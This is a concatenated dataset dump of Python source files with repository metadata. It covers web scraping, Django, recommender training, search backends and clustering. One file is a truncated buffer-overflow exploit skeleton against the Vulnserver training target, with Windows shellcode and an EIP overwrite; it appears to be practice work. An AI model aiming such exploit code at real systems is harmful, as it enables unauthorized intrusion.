45fb69a57b988bf7aac71f96f2808c3629e0ac8d
[]
no_license
BerilBBJ/scraperwiki-scraper-vault
4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc
65ea6a943cc348a9caf3782b900b36446f7e137d
refs/heads/master
2021-12-02T23:55:58.481210
2013-09-30T17:02:59
2013-09-30T17:02:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,010
py
cities_1.py
# Blank Python sourcescraper = 'cities' import scraperwiki scraperwiki.sqlite.attach(sourcescraper) data = scraperwiki.sqlite.select( '''* from cities.swdata ''' ) for d in data: print "&lt;City&gt;" print "&lt;Slug&gt;"+d["Slug"]+"&lt;/Slug&gt;" print "&lt;Na...
a62bcea9d8544bb91398d3c3e16ca6a4f82de231
130183b386f0455c27b53528b6462d7ffeaad0aa
/django_client_framework/models/fields/__init__.py
13bc98a68b1cfc14976f17cbc3b10af09942bcd7
[ "MIT" ]
permissive
cozybearca/django-client-framework
1f71462bc8946d2cbdeb78b361db4c299080618b
5056012714ff461f1f420ce9b7e47b4ee2d5167a
refs/heads/staging
2023-06-10T23:02:13.850466
2021-05-17T23:57:03
2021-05-17T23:57:03
328,857,150
1
1
MIT
2021-06-28T23:43:48
2021-01-12T03:08:49
Python
UTF-8
Python
false
false
316
py
__init__.py
from django.contrib.contenttypes.fields import * from django.contrib.postgres.fields import ArrayField, HStoreField from django.db.models import ForeignKey, JSONField, ManyToManyField from django.db.models.fields import * from .decimal import DecimalField, PriceField from .one_to_one_field import UniqueForeignKey
78cd8988069b337a6c11d9d02a13936816011f58
ca3e71465f98b08b9a4030c83a6f7324ddfcdd4c
/examples/BERT4Rec/source/main.py
5429ad32ab707eb033d69e2692d2aa3248b7f1df
[]
no_license
MiladShahidi/BERT4ClickPath
e286cad1f26f8b38d5315edb1157581049de95f6
78cd47f6cd67d962e9de07e4ce1fbeb674c6f1b7
refs/heads/master
2023-08-11T13:33:25.697832
2021-09-26T06:36:27
2021-09-26T06:36:27
406,746,990
3
0
null
null
null
null
UTF-8
Python
false
false
11,617
py
main.py
import json from source.input_pipeline import create_cloze_dataset from clickstream_transformer.metrics import PositiveRate, PredictedPositives, MaskedMetric from clickstream_transformer.training_utils import BestModelSaverCallback, CustomLRSchedule, LRTensorBoard from clickstream_transformer.losses import MaskedLoss f...
34d127ca307af1f7f392a88cb9f31ca0d98baa36
73e277935ef28fd05935c93a3f155c9cc6dc6de7
/ctf/crypto/quad_residue/sqrt_power_of_2_mod.py
f3c01f5c2f05f84c63fe1f99c4f498e5083c2915
[]
no_license
ohmygodlin/snippet
5ffe6b8fec99abd67dd5d7f819520e28112eae4b
21d02015492fb441b2ad93b4a455dc4a145f9913
refs/heads/master
2023-01-08T14:59:38.618791
2022-12-28T11:23:23
2022-12-28T11:23:23
190,989,347
1
0
null
null
null
null
UTF-8
Python
false
false
383
py
sqrt_power_of_2_mod.py
#Omni Crypto, pwn2win-2020, https://furutsuki.hatenablog.com/entry/2020/06/01/023111 def sqrt_power_of_2_mod(a, n): """find x^2 = a mod 2^n""" assert a % 8 == 1 res = [] for x in [1, 3]: for k in range(3, n): i = ((x*x - a) // pow(2, k)) % 2 x = x + i * pow(2, k-1) ...
200634a94b16c51530e5bfafbf0a5e982c0c56ec
aa3b238868e810b3a1831d0247c5b93180e29ed6
/Parser_1.py
64a9ae35d1b3df3d67b5b54b0750ae4033d1f78f
[]
no_license
smaklofff/Test_spellchecker
b058fe212c04709c4ccc5c5a9c77758cb912cab7
fac49600eee3df66c25d86e1cab4e5b797986d8a
refs/heads/main
2023-04-19T21:12:41.641610
2021-05-17T17:03:10
2021-05-17T17:03:10
364,863,457
0
0
null
null
null
null
UTF-8
Python
false
false
1,177
py
Parser_1.py
import requests import bs4 from bs4 import BeautifulSoup from urllib.parse import urlparse, urljoin import lxml import csv import pandas as pd def _link_list(block): # Собирает из основного блока wiki все названия статей for a_tag in block.findAll("a"): name = a_tag.text href_list.append(name) ...
96e713102d80c667eeaed0f80aa8de7bbc60bef2
9be47cdc14abab79458d3fe4d1a1d39169f3c94f
/lego/apps/search/backends/postgres.py
98cec12fda92479ba3e4d869be886bdd535ee5dd
[ "MIT" ]
permissive
webkom/lego
ae370f0881a8dcaa21caaa9b0d0cc552a6799e12
2c1909fd84fe3b3e0a9d3792c4bcc51089ad5a87
refs/heads/master
2023-08-07T17:06:21.159973
2023-07-13T19:18:36
2023-07-13T19:18:36
24,420,075
53
33
MIT
2023-09-12T07:48:21
2014-09-24T15:13:29
Python
UTF-8
Python
false
false
2,716
py
postgres.py
from lego.apps.search.backend import SearchBacked from .. import registry class PostgresBackend(SearchBacked): name = "postgres" max_results = 10 def update_many(self, tuple_list): pass # NOOP, we use the native data source def remove_many(self, tuple_list): pass # NOOP, we use t...
0ebbe111056b2d0aec59cf102865e76a032b6d60
9742824ae555c6c52c7271cd9c9007c64c8d1a69
/hogwarts/data/readers/ceph_reader.py
47d4ed6bcef48626c3f5c93d82393751d3c7e957
[ "MIT" ]
permissive
PingchuanMa/hogwarts
0f87a06271448796e8a21949e5680ffaf710b10e
404e1d524fee4f190d8de1c1e8bc0711d895089a
refs/heads/master
2021-06-13T14:06:01.244881
2021-03-25T20:03:37
2021-03-25T20:03:37
175,982,306
4
0
null
null
null
null
UTF-8
Python
false
false
233
py
ceph_reader.py
__all__ = ['CephReader'] import ceph import glog glog.setLevel(glog.logging.ERROR) class CephReader: def __call__(self, path): s3client = ceph.S3Client() content = s3client.Get(path) return content
735add598c089e2ac01694643e3af6816937e565
2d44aa4529acd0de57941e5c077f40fae8a1bab9
/vulnserver/gter_exploit.py
c2b0bd0293a6c18c0a88a79c403e97f57a46dd23
[]
no_license
khushv/exploit_dev
ec360a922decb9c45f27369150a890b6c3e74a73
b75edacdaed940742f4af2d5975225ce0004f4e8
refs/heads/main
2023-03-04T06:06:36.309115
2021-02-17T12:36:35
2021-02-17T12:36:35
339,714,288
0
0
null
null
null
null
UTF-8
Python
false
false
711
py
gter_exploit.py
#!/usr/bin/python -w # Skeleton exploit for files, which are opened in application import socket import os import sys from struct import pack host="192.168.85.133" port=9999 # spawn calc on windows - 16 bytes payload = "\x31\xc9\x51\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0" jmp = payload eip = pack('i...
a59cfc7e38d7d11f4df9d790f721e650677ca16f
e1cae7b8793beef87b802c6aa3275f971b646868
/Scripts/DatabaseAllocine.py
cc4e687ad8a6e705ea988444e566a4115be96d6d
[]
no_license
AnasakaSwish/HarvardHW
01818d26526c1a2991ca64a9f4eec50d92fbed86
decfe6592c0f851f8f404d8e4d979dab49fc6ff4
refs/heads/master
2021-09-04T05:30:21.498471
2018-01-16T10:15:44
2018-01-16T10:15:44
115,464,390
0
0
null
2017-12-28T17:41:48
2017-12-27T00:17:05
Jupyter Notebook
UTF-8
Python
false
false
2,450
py
DatabaseAllocine.py
''' Created on 1 déc. 2017 @author: anase ''' import json import requests import time import re import numpy as np from bs4 import BeautifulSoup films={} def monthtonumber(month): return {"janvier":"01","février":"02","mars":"03","avril":"04","mai":"05","juin":"06","juillet":"07","août":"08","septembre":"09","...
0b9bd0adc0d888157709b620f73b87810265749c
95c0a9256e7ce9d49766e225a997758f0e501ac0
/app/forms.py
1d08c59c0ebd827ad4cb7ce2712edf4ce590a5b2
[]
no_license
gprieto84/flask_vcard
323fabca9332a6f128aeb1c4f84c3b74fbf7bb47
ab4c26b102284170548fb9f7aed0d68ad6e833a0
refs/heads/master
2022-12-05T15:57:57.174760
2020-02-27T19:34:35
2020-02-27T19:34:35
241,188,540
0
0
null
2022-11-22T05:21:11
2020-02-17T19:19:46
Python
UTF-8
Python
false
false
333
py
forms.py
from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import ValidationError, DataRequired, Email class Generadorqr(FlaskForm): email = StringField('Correo Electrónico', validators=[DataRequired("Por favor digite un correo"), Email()]) submit = SubmitField('Genera...
b256e3374eb06647af310ed370737cac2fb76fef
a961e5e5d8efa27d08e73d0a504cd516d8b559f8
/MyChat/group.py
a634ef97209b4db38d0b96f407abaf9a00f123a4
[]
no_license
THU-changc17/MyChat
78a1985d9300013642ba034a594a28217845ac68
5f9c18e49ecc19affb344122f4382a9749519a5f
refs/heads/master
2021-03-11T19:48:27.213705
2020-03-11T15:07:22
2020-03-11T15:07:22
246,555,822
1
0
null
null
null
null
UTF-8
Python
false
false
9,114
py
group.py
import sys import os if hasattr(sys, 'frozen'): os.environ['PATH'] = sys._MEIPASS + ";" + os.environ['PATH'] from PyQt5 import QtWidgets,QtGui,QtCore from groupdialog import Ui_chatDialog import threading import socket import win32ui from file import fileForm servername = '166.111.140.57' serverPort = ...
641232e08093dd007d8a4c14bf148f028452a99f
7e5bb75230a6abb21b852941ee3d896734b019b3
/2021/Qround/a1.py
d8b5068b94dc7fb56b1ddcbf597f6cefb0312a4a
[]
no_license
samMeow/FacebookHackerCup
721be895bfe9e3d76adba8a35874005fc97411e5
d94dc53a467c13b79d14f78816c48fdec1d44dbe
refs/heads/master
2022-06-17T04:05:54.955989
2022-06-04T03:04:10
2022-06-04T03:04:10
87,253,230
0
0
null
null
null
null
UTF-8
Python
false
false
794
py
a1.py
import sys def toIntArr(line): return [int(x) for x in line.split()] def solution(str): lookup = {} vowel = 0 consis = 0 for c in str: lookup[c] = lookup.get(c, 0) + 1 if c in ['A', 'E', 'I', 'O', 'U']: vowel += 1 else: consis += 1 mini = len(st...
ad900e26a28c4cd1af1d02e99cf9bc8e0721e6d3
0070108db8e7743c74dbb6e81fbe8d9b0a144045
/corpe_paie/wizards/dipes_mensuel_wizard.py
319f69122cbe557d38976d2c6b495559aa16954f
[]
no_license
chrisdev2018/odoo-addons
ef9f4f66e4d758dfd4b8d8650a8a6f9422bbbdac
deac149595e7584106a9319cc74bdeec3daae136
refs/heads/master
2021-04-03T08:07:47.265926
2021-02-11T11:11:16
2021-02-11T11:11:16
125,211,681
1
0
null
null
null
null
UTF-8
Python
false
false
7,333
py
dipes_mensuel_wizard.py
# -*- coding: utf-8 -*- from openerp import api, models, fields, _ from openerp.exceptions import Warning import unicodedata from datetime import datetime, timedelta from dateutil.relativedelta import relativedelta DATE_FORMAT = "%Y-%m-%d" NO_PAYSLIP_FOUND = _("Aucun bulletin de paie dans la periode") MOIS = [ ...
f3a85c05ce645ba797eadca8e89e8d8ed8cddb8e
c3fb1b67a9941a0e27f0aa27e5c054b2417f0c80
/{{cookiecutter.project_slug}}/tests/analysis/test_model.py
bc220c8e89355cb4634611106c0da57d4170605d
[ "BSD-3-Clause", "LicenseRef-scancode-free-unknown", "MIT", "GPL-3.0-only", "ISC", "Apache-2.0" ]
permissive
OpenSourceEconomics/econ-project-templates
d49a859d581b3e5dd496a0ebc29258f713f3484d
fabfb0fdd653e32eb935123a1bc23187b556d36d
refs/heads/main
2023-07-07T11:54:00.910850
2023-03-29T07:18:08
2023-03-29T07:18:08
14,557,543
64
9
MIT
2023-04-03T22:45:46
2013-11-20T13:40:51
Python
UTF-8
Python
false
false
1,026
py
test_model.py
"""Tests for the regression model.""" import numpy as np import pandas as pd import pytest from {{cookiecutter.project_slug}}.analysis.model import fit_logit_model DESIRED_PRECISION = 10e-2 @pytest.fixture() def data(): np.random.seed(0) x = np.random.normal(size=100_000) coef = 2.0 prob = 1 / (1 + ...
9738c3836d0001e54a271f9cb0d45826d6a9d383
265084ee1ea04eaeafacc68c2f477e8d581ccbbc
/challenge_02.py
65b3356320438f3444dc55ade6daf8872399b187
[]
no_license
jeromba6/math-challenges
016a39c2cb6ac4b6e7e0db00028e7658f2e6c1cf
f367d7a2c4d282c97ebb81e1b87093be063947e9
refs/heads/main
2023-02-24T13:02:49.737149
2021-01-28T08:24:21
2021-01-28T08:24:21
333,536,856
0
0
null
null
null
null
UTF-8
Python
false
false
2,888
py
challenge_02.py
#!/usr/bin/env python3 """ This program returns the weight of a givven number of pieces that a weight breaks in to. The combiniation of the pieces makes it posible to weight every posible weight from 1 to the original weight in steps of 1 """ __author__ = "Jeroen van Gemert" __license__ = "GPL" __email__ = "github@j...
f811e115b1c7617169b34a9697db5705e6e0c522
a81c08904af6aa73d6f17e68585faa7463c2d0a5
/writers_website_django/submissions/migrations/0008_auto_20200420_1537.py
0f0926840c636c3952b67e69ee174ab38cd58e0a
[]
no_license
etjames/WritersWebsite
b6f02d06c2915a1ac2af98c1793293befcfda1b3
007f2762717de51efff46952912e1b598587b610
refs/heads/master
2021-09-28T16:24:11.736472
2020-04-25T02:58:23
2020-04-25T02:58:23
209,871,929
0
0
null
2021-09-22T18:54:33
2019-09-20T20:04:29
Python
UTF-8
Python
false
false
1,274
py
0008_auto_20200420_1537.py
# Generated by Django 3.0.5 on 2020-04-20 15:37 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('submissions', '0007_auto_20200420_0028'), ] operations = [ migrations.RemoveField( model_name='...
965d51e945a06cf721c88c751b0200d46c9e6dd6
113cbc08d49e34b55886db9b6f3f37c890094047
/utils/utils.py
20daa993d9a757b6f3380213085c2be68ec5682d
[ "MIT" ]
permissive
jajupmochi/OGB-LSC-KDD-Cup-2021
3013b395598c5d2b88a4f7347e51a9ea4152a972
e50c52fc8c44052bc9d7634b45f75b9b6b1938e7
refs/heads/main
2023-05-05T22:49:35.816368
2021-05-26T15:41:23
2021-05-26T15:41:23
371,064,834
0
0
null
null
null
null
UTF-8
Python
false
false
11,817
py
utils.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu May 20 11:32:24 2021 @author: ljia """ import os import sys # from tqdm import tqdm import pickle import time import functools import numpy as np from utils.mol import smiles2nxgraph_ogb from gklearn.utils import get_iters from gklearn.model_learning im...
84b2b44af572cf90142ffa819501dac7b42e768b
abd72b1193a5706b4a15202fcb4157ab497327ba
/10_AdapterArray/part2.py
32fc701cde039800339c49b8943159ed19da8f41
[]
no_license
pkwagner/advent-of-code-2020
d90089052d6288fbd51f06385b7de836e10f08cc
91518b1c9ddc9af11870360c4826491aef4daa6e
refs/heads/master
2023-01-24T10:11:46.431131
2020-12-12T22:44:38
2020-12-12T22:44:38
318,559,358
0
0
null
null
null
null
UTF-8
Python
false
false
608
py
part2.py
MAXGAP = 3 with open("day10.txt", "r") as f: joltages = sorted([int(x) for x in f.readlines()]) joltages = [0] + joltages + [joltages[-1] + 3] # Intuition: Calculate solution count of each joltage based on the prior partial solutions (initially: 1) # Nested loop is limited to MAXGAP iterations because of stri...
68c92d43f4a1324c80a879b35069d70891de46e5
38288c4322718ea6d5defc82763820fce1a18fdd
/sympy/simplify/tests/test_cse.py
275c4b4e11cf3d1e8b899d73682d097a13e1108e
[ "BSD-3-Clause" ]
permissive
shaide/sympy
e15627c4fa0fbfe169a2e8e706f25f8061bd8e85
a8f8ef41ec9b4b19a039c699ccfe9d11cfffa860
refs/heads/master
2021-01-24T10:07:42.294017
2011-04-01T02:47:57
2011-04-03T19:26:47
1,523,200
1
0
null
null
null
null
UTF-8
Python
false
false
2,967
py
test_cse.py
import itertools from sympy import Add, Mul, Pow, Symbol, exp, sqrt, symbols, sympify, cse from sympy.simplify import cse_main, cse_opts w,x,y,z = symbols('wxyz') x0,x1,x2 = list(itertools.islice(cse_main.numbered_symbols(), 0, 3)) negone = sympify(-1) def test_numbered_symbols(): ns = cse_main.numbered_symbols...
602ecb3d082bbf29f8e0b3a24bb5e85e8cc8a9f9
e12ddab55b7e7d85900fc71d2f6d729fb75d0ec6
/Python3/Valid_Anagram_242/valid_anagram.py
9e0e85087bea1e8b80a0f9d38411e64cbc322a96
[]
no_license
cdunn6754/LeetCode
88f4d08f1a37a9ebb21bf2c21ed066332614f9ad
3121d2470dbf0defd883826e56be172f741d6617
refs/heads/master
2020-03-07T07:33:18.650157
2019-05-23T02:20:57
2019-05-23T02:20:57
127,352,366
0
0
null
null
null
null
UTF-8
Python
false
false
689
py
valid_anagram.py
class Solution: def isAnagram(self, s, t): """ :type s: str :type t: str :rtype: bool """ s.replace(" ", "") t.replace(" ", "") if not len(t) == len(s): return False s_dict = {} for letter in s: if letter in...
13ef66f30bfc0a40dd91330cef6caf46ea705891
a3f3c625af98882a7f1775de1e6187f1ead4e32b
/playground/ga/bit_string/__init__.py
cd35d36acc491833eba58afc0e19365cfd42f678
[ "MIT" ]
permissive
StanJBrown/playground
e0846986af5939be77ee561794b5bd0c94a37c28
f372c3c547d0ad34f9bdffaa2b2e93d089a3f5a4
refs/heads/master
2020-07-01T11:45:45.410104
2014-12-12T19:19:39
2014-12-12T19:19:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
600
py
__init__.py
#!/usr/bin/env python2 class BitString(object): def __init__(self): self.bit_string_id = None self.score = None self.genome = [] self.length = 0 def valid(self): raise RuntimeError("Not Implemented!") def equals(self, target): if target.genome == self.gen...
5ddf535354fff6c1ae9346d0d4ce84c3068a889a
c8d5b0c4ed43a53e645f18675a11dedcc89937f7
/project_name/example_app/models.py
20be64ad74e1a053fd7540a8131ed0451697494e
[]
no_license
imposeren/another-django-template
0cfcc733a614522b3cbf976c5a681fbf1446e310
e58e586b03681642f93d09a43a73ce4820a99444
refs/heads/master
2021-01-04T02:37:40.804024
2013-07-02T19:48:43
2013-07-02T19:48:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,362
py
models.py
# -*- coding: utf-8 -*- # django: from django.contrib.auth.models import User from django.db import models from django.utils import timezone from django.utils.translation import ugettext_lazy as _ # vendor: from modelhelpers.mixins import TitleSlugifyMixin, AutoProcessFieldsMixin, get_slugify_mixin from modelhelpers....
ab05dcea9068ce8d1e6669fc4ad78aa9c9f36e65
fa1277b6939fbc1de8795a2c6e7c253637992f9e
/Solved/Python/ABC.py
bcb11942c6f39c9ebd08b23799aedf175fab3bc7
[]
no_license
mohammedjasam/Competitive-Programming
bb83171535c5d8626a94c5e0d3b3d37e9e3f1de8
4a5ab3c12693b50eea139f0bb2040fd5676ed069
refs/heads/master
2021-01-19T20:22:59.026871
2018-04-27T14:56:24
2018-04-27T14:56:24
83,748,705
4
2
null
null
null
null
UTF-8
Python
false
false
261
py
ABC.py
s=[int(x) for x in input().split()] s.sort() op=input() st="" for i in range(len(s)): if op[i]=='A': st+=str(s[0])+" " elif op[i]=='B': st+=str(s[1])+" " elif op[i]=='C': st+=str(s[2])+ " " print(st[:-1]) j=st[:1] print(j)
cb5159176621d4ff2750a5b93b31ce2e6d50b5a2
b37570c1135282943b12af5e7741d1c02cf9d1d7
/Inspector/migrations/0012_auto_20210429_2033.py
71e7ef7a1e61f77cdc45d000f5016f10ff7ae921
[]
no_license
DeepCoomer/Einspector
ec1b48ebd5a5435827c4051949f58dc36a78c5c4
bbd1416da67a31115122e4fd17d71e246c4f93cb
refs/heads/master
2023-04-24T12:12:22.410286
2021-05-13T06:09:45
2021-05-13T06:09:45
336,519,793
1
0
null
null
null
null
UTF-8
Python
false
false
435
py
0012_auto_20210429_2033.py
# Generated by Django 3.1.7 on 2021-04-29 15:03 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('Inspector', '0011_auto_20210429_2016'), ] operations = [ migrations.RemoveField( model_name='fir', name='FirId', ), ...
795c39ee6aa1a6c4dcb7f42ea1c55a6dd99fb44c
9415646910b04fa12718ea128a096629dcc22733
/3. godina/ip1 vezbe/cas09 - Hijerarhijsko klasterovanje i DBSCAN/04_dbscan.py
febee21fe5e87a14776622d44dac6aebce4af2e4
[]
no_license
SvetlanaBicanin/MATF-materijali
306b25fe8c28ea3a8077c83147e27316d55c892f
21d7da5c62839115eda126819c7fd34a3399c022
refs/heads/master
2023-06-01T14:43:47.176006
2021-06-13T13:40:24
2021-06-13T13:40:24
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,003
py
04_dbscan.py
import pandas as pd from sklearn import metrics from sklearn.cluster import DBSCAN from sklearn.preprocessing import MinMaxScaler from sklearn.decomposition import PCA from matplotlib import pyplot as plt df = pd.read_csv('fish.csv') x = df.drop('Species', axis=1) # skaliranje scaler = MinMaxScaler() x = scaler.fit_t...